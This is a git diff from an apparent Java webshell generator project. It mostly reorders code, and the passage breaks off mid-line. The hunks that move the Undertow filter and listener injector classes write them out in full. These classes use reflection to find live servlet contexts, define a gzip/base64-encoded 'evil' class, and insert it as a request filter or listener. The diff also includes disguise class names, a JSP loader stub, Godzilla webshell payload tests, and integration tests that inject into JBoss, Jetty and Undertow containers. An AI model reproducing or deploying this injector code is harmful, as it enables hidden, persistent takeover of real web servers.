a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowFilterInjector.java index 53e1e395..bfbffe0c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowFilterInjector.java @@ -19,23 +19,11 @@ import java.util.zip.GZIPInputStream; */ public class UndertowFilterInjector { - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - static { new UndertowFilterInjector(); } + public UndertowFilterInjector() { try { List contexts = getContext(); @@ -47,79 +35,6 @@ public class UndertowFilterInjector { } } - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - for (Thread thread : threads) { - try { - Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); - Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); - if (servletContext != null) { - contexts.add(servletContext); - } - } catch (Exception ignored) { - } - } - return contexts; - } - - private Object getFilter(Object context) { - Object filter = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - filter = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - filter = clazz.newInstance(); - } catch (Throwable ignored) { - } - } - return filter; - } - - public void addFilter(Object context, Object filter) { - String filterClassName = filter.getClass().getName(); - try { - if (isInjected(context, filterClassName)) { - return; - } - Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); - Object deploymentInfo = getFV(context, "deploymentInfo"); - Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass()); - invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); - Object deploymentImpl = getFV(context, "deployment"); - Object managedFilters = invokeMethod(deploymentImpl, "getFilters"); - invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); - invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST}); - } catch (Throwable e) { - e.printStackTrace(); - } - } - - @SuppressWarnings("unchecked") - public boolean isInjected(Object context, String evilClassName) throws Exception { - Map filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters"); - if (filters != null) { - for (Map.Entry filter : filters.entrySet()) { - Class filterClass = (Class) getFV(filter.getValue(), "filterClass"); - if (filterClass != null) { - if (filterClass.getName().equals(evilClassName)) { - return true; - } - } - } - } - return false; - } - - @SuppressWarnings("all") static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class decoderClass; @@ -133,7 +48,6 @@ public class UndertowFilterInjector { } } - @SuppressWarnings("all") public static byte[] gzipDecompress(byte[] compressedData) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); @@ -222,4 +136,88 @@ public class UndertowFilterInjector { } } } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + for (Thread thread : threads) { + try { + Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); + if (servletContext != null) { + contexts.add(servletContext); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable ignored) { + } + } + return filter; + } + + public void addFilter(Object context, Object filter) { + String filterClassName = filter.getClass().getName(); + try { + if (isInjected(context, filterClassName)) { + return; + } + Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); + Object deploymentInfo = getFV(context, "deploymentInfo"); + Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass()); + invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); + Object deploymentImpl = getFV(context, "deployment"); + Object managedFilters = invokeMethod(deploymentImpl, "getFilters"); + invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); + invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST}); + } catch (Throwable e) { + e.printStackTrace(); + } + } + + @SuppressWarnings("unchecked") + public boolean isInjected(Object context, String evilClassName) throws Exception { + Map filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters"); + if (filters != null) { + for (Map.Entry filter : filters.entrySet()) { + Class filterClass = (Class) getFV(filter.getValue(), "filterClass"); + if (filterClass != null) { + if (filterClass.getName().equals(evilClassName)) { + return true; + } + } + } + } + return false; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowListenerInjector.java index 27451085..4886ae06 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowListenerInjector.java @@ -17,14 +17,6 @@ import java.util.zip.GZIPInputStream; public class UndertowListenerInjector { - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - static { new UndertowListenerInjector(); } @@ -41,76 +33,6 @@ public class UndertowListenerInjector { } } - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - for (Thread thread : threads) { - try { - Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); - Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); - if (servletContext != null) { - contexts.add(servletContext); - } - } catch (Exception ignored) { - } - } - return contexts; - } - - - private Object getListener(Object context) { - Object listener = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - listener = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - listener = clazz.newInstance(); - } catch (Throwable ignored) { - } - } - return listener; - } - - public void addListener(Object context, Object listener) { - try { - if (isInjected(context, listener.getClass().getName())) { - return; - } - Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo"); - Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass()); - Object deploymentImpl = getFV(context, "deployment"); - Object applicationListeners = getFV(deploymentImpl, "applicationListeners"); - Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener"); - Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true); - invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener}); - } catch (Throwable e) { - e.printStackTrace(); - } - } - - public boolean isInjected(Object context, String evilClassName) throws Exception { - List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners"); - if (allListeners != null) { - for (Object allListener : allListeners) { - Class listener = (Class) getFV(getFV(allListener, "listenerInfo"), "listenerClass"); - if (listener != null) { - if (listener.getName().contains(evilClassName)) { - return true; - } - } - } - } - return false; - } - @SuppressWarnings("all") static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class decoderClass; @@ -124,7 +46,6 @@ public class UndertowListenerInjector { } } - @SuppressWarnings("all") public static byte[] gzipDecompress(byte[] compressedData) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); @@ -213,4 +134,81 @@ public class UndertowListenerInjector { } } } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + for (Thread thread : threads) { + try { + Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); + if (servletContext != null) { + contexts.add(servletContext); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable ignored) { + } + } + return listener; + } + + public void addListener(Object context, Object listener) { + try { + if (isInjected(context, listener.getClass().getName())) { + return; + } + Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo"); + Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass()); + Object deploymentImpl = getFV(context, "deployment"); + Object applicationListeners = getFV(deploymentImpl, "applicationListeners"); + Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener"); + Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true); + invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener}); + } catch (Throwable e) { + e.printStackTrace(); + } + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners"); + if (allListeners != null) { + for (Object allListener : allListeners) { + Class listener = (Class) getFV(getFV(allListener, "listenerInfo"), "listenerClass"); + if (listener != null) { + if (listener.getName().contains(evilClassName)) { + return true; + } + } + } + } + return false; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java index 6fd414a2..266c50ff 100644 --- a/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java @@ -11,6 +11,20 @@ import java.util.zip.GZIPOutputStream; */ public class CommonUtil { + public static final String[] INJECTOR_CLASS_NAMES = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"}; + private static final String[] PACKAGE_NAMES = { + "org.springframework", + "org.apache.commons", + "org.apache.logging", + "org.apache", + "com.fasterxml.jackson", + "org.junit", + "org.apache.commons.lang", + "org.apache.http.client", + "com.google.gso", + "ch.qos.logback" + }; + public static byte[] gzipCompress(byte[] data) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { @@ -30,19 +44,6 @@ public class CommonUtil { return sb.toString(); } - private static final String[] PACKAGE_NAMES = { - "org.springframework", - "org.apache.commons", - "org.apache.logging", - "org.apache", - "com.fasterxml.jackson", - "org.junit", - "org.apache.commons.lang", - "org.apache.http.client", - "com.google.gso", - "ch.qos.logback" - }; - private static String getRandomPackageName() { return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5); } @@ -51,8 +52,6 @@ public class CommonUtil { return getRandomPackageName() + ".ErrorHandler"; } - public static final String[] INJECTOR_CLASS_NAMES = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"}; - public static String generateInjectorClassName() { return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)]; } diff --git a/generator/src/main/resources/shell.jsp b/generator/src/main/resources/shell.jsp index 252e9fbc..c097d4b3 100644 --- a/generator/src/main/resources/shell.jsp +++ b/generator/src/main/resources/shell.jsp @@ -1,3 +1,9 @@ +<%@ page import="java.lang.Class" %> +<%@ page import="java.lang.ClassLoader" %> +<%@ page import="java.lang.Exception" %> +<%@ page import="java.lang.Object" %> +<%@ page import="java.lang.String" %> +<%@ page import="java.lang.Thread" %> <%! public byte[] decodeBase64(String bytecodeBase64) { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); diff --git a/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java b/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java index 26ce0c6b..41c3f3a9 100644 --- a/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java @@ -19,20 +19,6 @@ import static org.junit.jupiter.api.condition.JRE.JAVA_17; * @since 2024/12/7 */ class ByPassJavaModuleInterceptorTest { - static class TestClass { - static { - System.out.println("TestClass"); - } - - public TestClass() { - } - - - public String hello() { - return "hello"; - } - } - @Test @SneakyThrows @EnabledOnJre(JAVA_17) @@ -62,4 +48,18 @@ class ByPassJavaModuleInterceptorTest { } } + static class TestClass { + static { + System.out.println("TestClass"); + } + + public TestClass() { + } + + + public String hello() { + return "hello"; + } + } + } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java b/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java index 0742db65..4089b795 100644 --- a/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java +++ b/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java @@ -77,6 +77,22 @@ class LogRemoveVisitorWrapperTest { verify(methodVisitor).visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false); } + @Test + void testIntegration() throws Exception { + // Use ByteBuddy to create a new class with log statements removed + DynamicType.Unloaded make = new ByteBuddy() + .redefine(TestClass.class) + .name("com.reajason.javaweb.buddy.TestClass1") + .visit(new AsmVisitorWrapper.ForDeclaredMethods() + .method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE)) + .make(); + byte[] bytes = make.getBytes(); + Files.write(Paths.get("xx.class"), bytes); + Class modifiedClass = make.load(getClass().getClassLoader()).getLoaded(); + Object instance = modifiedClass.getDeclaredConstructor().newInstance(); + modifiedClass.getMethod("methodWithLogs").invoke(instance); + } + public static class TestClass { public TestClass() { } @@ -93,20 +109,4 @@ class LogRemoveVisitorWrapperTest { } } } - - @Test - void testIntegration() throws Exception { - // Use ByteBuddy to create a new class with log statements removed - DynamicType.Unloaded make = new ByteBuddy() - .redefine(TestClass.class) - .name("com.reajason.javaweb.buddy.TestClass1") - .visit(new AsmVisitorWrapper.ForDeclaredMethods() - .method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE)) - .make(); - byte[] bytes = make.getBytes(); - Files.write(Paths.get("xx.class"), bytes); - Class modifiedClass = make.load(getClass().getClassLoader()).getLoaded(); - Object instance = modifiedClass.getDeclaredConstructor().newInstance(); - modifiedClass.getMethod("methodWithLogs").invoke(instance); - } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java b/generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java index c8422930..b27df16d 100644 --- a/generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java @@ -66,7 +66,7 @@ class GodzillaManagerTest { } @Test - void testRestorePayload(){ + void testRestorePayload() { String payload = "k2qs7l3%2F4ZZaGyyrfpBQGg0dXGM%2BFVFxzmCWLnyFEgoPSpSjHre4o1HBHTCFnNDX"; String key = "d8ea7326e6ec5916"; Map map = GodzillaManager.restorePayload(key, payload); diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java index 55a66dba..4f28fecb 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.memsell.tomcat.godzilla; -import com.reajason.javaweb.config.ShellConfig; import com.reajason.javaweb.config.GodzillaConfig; +import com.reajason.javaweb.config.ShellConfig; import com.reajason.javaweb.memsell.GodzillaGenerator; import com.reajason.javaweb.util.ClassUtils; import com.reajason.javaweb.util.CommonUtil; diff --git a/integration-test/docker-compose/tomcat/docker-compose-9-jre9.yaml b/integration-test/docker-compose/tomcat/docker-compose-9-jre9.yaml index d08db7da..dbc0943b 100644 --- a/integration-test/docker-compose/tomcat/docker-compose-9-jre9.yaml +++ b/integration-test/docker-compose/tomcat/docker-compose-9-jre9.yaml @@ -3,7 +3,7 @@ services: image: tomcat:9-jre9 ports: - "8081:8080" -# - "5005:5005" + # - "5005:5005" environment: JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 volumes: diff --git a/integration-test/src/test/java/com/reajason/javaweb/MarkdownTestExecutionListener.java b/integration-test/src/test/java/com/reajason/javaweb/MarkdownTestExecutionListener.java index a3befc86..e3a67503 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/MarkdownTestExecutionListener.java +++ b/integration-test/src/test/java/com/reajason/javaweb/MarkdownTestExecutionListener.java @@ -27,20 +27,10 @@ import java.util.stream.Collectors; * @since 2024/12/1 */ public class MarkdownTestExecutionListener implements TestExecutionListener { - @Data - @Builder - static class TestCase { - private String imageName; - private String shellType; - private String packer; - private Duration duration; - private TestExecutionResult.Status status; - } - private final Map timeStamps = new ConcurrentHashMap<>(); private final Map> testCases = new ConcurrentHashMap<>(); - private Instant startTime; private final Path markdownPath = Paths.get("build", "test-results", "report.md"); + private Instant startTime; @SneakyThrows @Override @@ -142,4 +132,14 @@ public class MarkdownTestExecutionListener implements TestExecutionListener { timeStamps.put(testIdentifier.getUniqueIdObject(), Instant.now()); } } + + @Data + @Builder + static class TestCase { + private String imageName; + private String shellType; + private String packer; + private Duration duration; + private TestExecutionResult.Status status; + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java b/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java index 3b95ac3f..3dc23381 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java @@ -5,6 +5,10 @@ import org.hamcrest.TypeSafeMatcher; public class DoesNotContainExceptionMatcher extends TypeSafeMatcher { + public static DoesNotContainExceptionMatcher doesNotContainException() { + return new DoesNotContainExceptionMatcher(); + } + @Override protected boolean matchesSafely(String logs) { return !logs.contains("Exception"); @@ -18,10 +22,6 @@ public class DoesNotContainExceptionMatcher extends TypeSafeMatcher { @Override protected void describeMismatchSafely(String logs, Description mismatchDescription) { mismatchDescription.appendText("found logs containing exceptions:\n") - .appendText(logs.replaceAll("(?m)^", " ")); - } - - public static DoesNotContainExceptionMatcher doesNotContainException() { - return new DoesNotContainExceptionMatcher(); + .appendText(logs.replaceAll("(?m)^", " ")); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java index f2920d0d..6ee1c921 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java @@ -1,10 +1,7 @@ package com.reajason.javaweb.integration; -import com.reajason.javaweb.GeneratorMain; -import com.reajason.javaweb.config.*; +import com.reajason.javaweb.config.GodzillaConfig; import com.reajason.javaweb.godzilla.GodzillaManager; -import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; import java.io.IOException; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index 61211245..da68838f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -51,16 +51,15 @@ public class Jboss423ContainerTest { ); } + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index 27406510..f3208551 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -51,16 +51,15 @@ public class Jboss510ContainerTest { ); } + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index f6e9195b..0f4e2ce8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -52,17 +52,16 @@ public class Jboss610ContainerTest { ); } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer); - } - @AfterAll static void tearDown() { String logs = container.getLogs(); log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index 52ff0e63..2712da32 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -51,16 +51,15 @@ public class Jboss711ContainerTest { ); } + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_7, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index 361e0a05..072c0cef 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -48,16 +48,15 @@ public class JbossEap6ContainerTest { ); } + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index 8b49c26c..c2510718 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -48,16 +48,15 @@ public class JbossEap7ContainerTest { ); } + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java index 466f0df0..10deca9c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -32,6 +32,11 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Testcontainers public class Jetty10ContainerTest { public static final String imageName = "jetty:10-jre11-slim"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -46,22 +51,15 @@ public class Jetty10ContainerTest { ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = 